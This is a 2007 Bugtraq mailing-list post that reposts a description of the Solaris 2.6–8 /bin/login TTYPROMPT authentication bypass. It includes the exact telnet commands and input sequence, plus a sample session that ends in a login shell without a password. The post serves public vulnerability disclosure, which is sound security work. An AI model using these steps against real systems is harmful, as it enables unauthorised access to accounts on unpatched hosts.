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Date: Wed, 21 Feb 2007 19:57:41 +0100 From: Thierry Zoller <Thierry@Zoller.lu.> To: bugtraq@securityfocus.com Subject: Re[2]: Solaris telnet vulnberability - how many on your network? In-Reply-To: <Pine.BSO.4.63.0702191552080.24507@shinobi.blackhats.it.> References: <Pine.BSO.4.63.0702191552080.24507@shinobi.blackhats.it.> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Virus-Scanned: antivirus-gw at tyumen.ru Dear Marc, This is hilarious, should there ever be a Top10 of the most weird bugs, this surely is one of them, repost for pure amusement : Solaris 2.6, 7, and 8 /bin/login has a vulnerability involving the environment variable TTYPROMPT. This vulnerability has already been reported to BugTraq and a patch has been released by Sun. However, a very simple exploit, which does not require any code to be compiled by an attacker, exists. The exploit requires the attacker to simply define the environment variable TTYPROMPT to a 6 character string, inside telnet. I believe this overflows an integer inside login, which specifies whether or not the user has been authenticated (just a guess). Once connected to the remote host, you must type the username, followed by 64 " c"s, and a literal "\n". You will then be logged in as the user without any password authentication. This should work with any account except root (unless remote root login is allowed). Example: coma% telnet telnet> environ define TTYPROMPT abcdef telnet> o localhost SunOS 5.8 bin c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c\n Last login: whenever $ whoami bin -- http://secdev.zoller.lu Thierry Zoller Fingerprint : 5D84 BFDC CD36 A951 2C45 2E57 28B3 75DD 0AC6 F1C7
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